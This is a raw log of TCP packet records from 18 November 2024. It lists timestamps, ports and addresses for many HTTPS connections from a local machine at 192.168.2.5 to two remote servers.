Nov 18, 2024 20:22:03.143809080 CET	50015	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.143862963 CET	443	50015	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.144017935 CET	50015	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.144239902 CET	50015	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.144256115 CET	443	50015	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.159600019 CET	443	50010	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.160178900 CET	50010	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.160197973 CET	443	50010	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.160656929 CET	50010	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.160662889 CET	443	50010	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.292603970 CET	443	50010	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.292680979 CET	443	50010	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.292749882 CET	50010	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.292921066 CET	50010	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.292990923 CET	443	50010	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.293029070 CET	50010	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.293044090 CET	443	50010	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.296113014 CET	50017	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.296149015 CET	443	50017	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.296209097 CET	50017	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.296375990 CET	50017	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.296390057 CET	443	50017	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.303672075 CET	443	50012	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.304080963 CET	50012	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.304104090 CET	443	50012	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.304547071 CET	50012	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.304553986 CET	443	50012	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.309892893 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.310290098 CET	50011	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.310322046 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.310821056 CET	50011	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.310827017 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.440335989 CET	443	50012	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.440553904 CET	443	50012	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.440613031 CET	50012	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.440895081 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.441246033 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.441302061 CET	50011	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.441333055 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.441363096 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.441410065 CET	50011	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.442482948 CET	50012	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.442508936 CET	443	50012	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.442523003 CET	50012	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.442528963 CET	443	50012	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.444705963 CET	50011	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.444720984 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.444735050 CET	50011	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.444741964 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.447154999 CET	50018	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.447200060 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.447272062 CET	50018	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.447443962 CET	50019	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.447489023 CET	443	50019	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.447556973 CET	50019	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.447643042 CET	50018	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.447660923 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.447686911 CET	50019	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.447701931 CET	443	50019	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.239439011 CET	443	50015	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.240328074 CET	443	50014	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.240596056 CET	50015	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.240621090 CET	443	50015	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.241055012 CET	50015	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.241060019 CET	443	50015	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.241374016 CET	50014	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.241399050 CET	443	50014	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.241641998 CET	50014	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.241650105 CET	443	50014	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.377330065 CET	443	50019	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.377338886 CET	443	50014	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.377418041 CET	443	50014	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.377536058 CET	50014	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.377580881 CET	443	50015	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.377613068 CET	443	50015	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.377660036 CET	50014	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.377660036 CET	50014	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.377665997 CET	443	50015	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.377680063 CET	443	50014	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.377692938 CET	443	50014	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.377701044 CET	50015	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.377772093 CET	50015	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.378103018 CET	50019	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.378118992 CET	443	50019	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.378540039 CET	443	50017	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.378573895 CET	50019	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.378580093 CET	443	50019	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.378781080 CET	50015	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.378818989 CET	443	50015	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.378854990 CET	50015	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.378873110 CET	443	50015	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.379297972 CET	50017	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.379307032 CET	443	50017	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.379779100 CET	50017	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.379784107 CET	443	50017	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.381838083 CET	50021	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.381865025 CET	443	50021	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.381892920 CET	50022	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.381932020 CET	443	50022	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.381978035 CET	50021	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.382236004 CET	50022	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.382239103 CET	50021	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.382251024 CET	443	50021	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.382320881 CET	50022	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.382339954 CET	443	50022	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.443866014 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.444509983 CET	50018	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.444526911 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.444785118 CET	50018	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.444789886 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.511590958 CET	443	50019	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.511671066 CET	443	50019	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.512049913 CET	50019	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.512049913 CET	50019	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.512188911 CET	50019	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.512207031 CET	443	50019	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.514089108 CET	443	50017	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.514153004 CET	443	50017	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.515352964 CET	50017	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.515747070 CET	50017	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.515753031 CET	443	50017	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.515753984 CET	50024	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.515801907 CET	443	50024	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.518579960 CET	50025	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.518620014 CET	443	50025	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.518645048 CET	50024	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.518882036 CET	50025	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.518950939 CET	50024	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.518966913 CET	443	50024	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.519329071 CET	50025	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.519340992 CET	443	50025	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.643877983 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:04.643925905 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:04.647988081 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:04.649151087 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:04.649163008 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:04.657255888 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.657327890 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.657403946 CET	50018	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.657424927 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.657443047 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.657758951 CET	50018	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.657758951 CET	50018	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.657782078 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.657812119 CET	50018	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.657821894 CET	443	50018	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.663877010 CET	50027	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.663922071 CET	443	50027	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:04.665934086 CET	50027	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.666127920 CET	50027	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:04.666208029 CET	443	50027	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.149472952 CET	443	50022	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.149930954 CET	50022	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.149949074 CET	443	50022	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.150597095 CET	50022	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.150603056 CET	443	50022	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.152549028 CET	443	50021	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.152833939 CET	50021	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.152853966 CET	443	50021	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.153347969 CET	50021	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.153353930 CET	443	50021	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.267158031 CET	443	50025	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.283067942 CET	443	50022	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.283144951 CET	443	50022	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.283212900 CET	50022	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.284065962 CET	50025	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.284096003 CET	443	50025	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.284817934 CET	50025	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.284825087 CET	443	50025	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.285945892 CET	50022	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.285945892 CET	50022	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.285969973 CET	443	50022	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.285974026 CET	443	50021	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.285980940 CET	443	50022	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.286006927 CET	443	50021	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.286056995 CET	443	50021	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.286101103 CET	50021	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.286101103 CET	50021	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.287045002 CET	50021	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.287070990 CET	443	50021	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.292448044 CET	50028	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.292490005 CET	443	50028	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.292589903 CET	50028	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.293355942 CET	50029	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.293390036 CET	443	50029	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.293503046 CET	50029	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.293673038 CET	50029	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.293689013 CET	443	50029	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.293822050 CET	50028	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.293838024 CET	443	50028	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.411453962 CET	443	50025	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.411525965 CET	443	50025	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.411571980 CET	443	50025	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.411623955 CET	50025	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.411650896 CET	50025	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.413450003 CET	50025	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.413484097 CET	443	50025	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.413511992 CET	50025	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.413527012 CET	443	50025	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.447216988 CET	50030	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.447243929 CET	443	50030	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.447321892 CET	50030	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.450587034 CET	50030	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.450601101 CET	443	50030	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.552201986 CET	443	50027	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.578341007 CET	50027	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.578372002 CET	443	50027	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.579221010 CET	50027	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.579233885 CET	443	50027	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.706131935 CET	443	50027	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.706304073 CET	443	50027	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.706414938 CET	50027	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.706491947 CET	50027	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.706491947 CET	50027	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.706526995 CET	443	50027	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.706553936 CET	443	50027	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.709376097 CET	50031	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.709420919 CET	443	50031	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.709475994 CET	50031	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.709676981 CET	50031	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:05.709693909 CET	443	50031	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:05.784863949 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:05.784933090 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:05.786696911 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:05.786714077 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:05.786999941 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:05.796701908 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:05.839329958 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.036021948 CET	443	50028	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.036633015 CET	50028	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.036659002 CET	443	50028	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.037178040 CET	50028	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.037183046 CET	443	50028	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.045504093 CET	443	50029	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.045964956 CET	50029	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.045985937 CET	443	50029	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.046413898 CET	50029	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.046420097 CET	443	50029	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.167454004 CET	443	50028	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.167603016 CET	443	50028	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.167784929 CET	50028	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.167841911 CET	50028	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.167864084 CET	443	50028	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.167877913 CET	50028	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.167892933 CET	443	50028	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.170857906 CET	50032	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.170957088 CET	443	50032	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.171119928 CET	50032	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.171283007 CET	50032	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.171338081 CET	443	50032	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.173497915 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.173516989 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.173557997 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.173572063 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.173578024 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:06.173588037 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.173631907 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:06.173649073 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:06.180949926 CET	443	50030	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.181358099 CET	50030	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.181371927 CET	443	50030	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.181787968 CET	50030	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.181792021 CET	443	50030	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.181848049 CET	443	50029	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.181993008 CET	443	50029	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.182064056 CET	50029	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.182185888 CET	50029	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.182185888 CET	50029	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.182203054 CET	443	50029	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.182210922 CET	443	50029	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.184607029 CET	50033	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.184650898 CET	443	50033	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.184910059 CET	50033	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.185065031 CET	50033	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.185077906 CET	443	50033	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.296600103 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.296648026 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.296674013 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:06.296690941 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.296701908 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:06.296701908 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:06.296839952 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:06.296849012 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.296864986 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:06.297013044 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.297049046 CET	443	50026	4.175.87.197	192.168.2.5
Nov 18, 2024 20:22:06.297086954 CET	50026	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:22:06.310679913 CET	443	50030	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.311408043 CET	443	50030	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.311454058 CET	443	50030	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.311460018 CET	50030	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.311512947 CET	50030	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.311559916 CET	50030	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.311575890 CET	443	50030	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.311587095 CET	50030	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.311592102 CET	443	50030	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.314553022 CET	50034	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.314660072 CET	443	50034	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.314820051 CET	50034	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.314937115 CET	50034	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.314956903 CET	443	50034	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.460339069 CET	443	50031	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.460880041 CET	50031	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.460907936 CET	443	50031	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.461500883 CET	50031	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.461505890 CET	443	50031	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.597212076 CET	443	50031	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.597630024 CET	443	50031	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.597723961 CET	50031	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.599432945 CET	50031	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.599457026 CET	443	50031	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.599468946 CET	50031	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.599474907 CET	443	50031	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.602499008 CET	50035	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.602591038 CET	443	50035	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.602690935 CET	50035	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.602874041 CET	50035	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.602914095 CET	443	50035	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.825109959 CET	443	50024	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.825530052 CET	50024	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.825556993 CET	443	50024	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.825987101 CET	50024	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.825993061 CET	443	50024	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.916141033 CET	443	50033	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.916821957 CET	50033	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.916836023 CET	443	50033	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.917268038 CET	50033	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.917272091 CET	443	50033	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.926933050 CET	443	50032	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.927751064 CET	50032	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.927795887 CET	443	50032	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.928289890 CET	50032	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.928299904 CET	443	50032	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.966224909 CET	443	50024	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.966315985 CET	443	50024	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.966439009 CET	50024	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.967780113 CET	50024	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.967794895 CET	443	50024	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.967803955 CET	50024	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.967808962 CET	443	50024	13.107.246.45	192.168.2.5
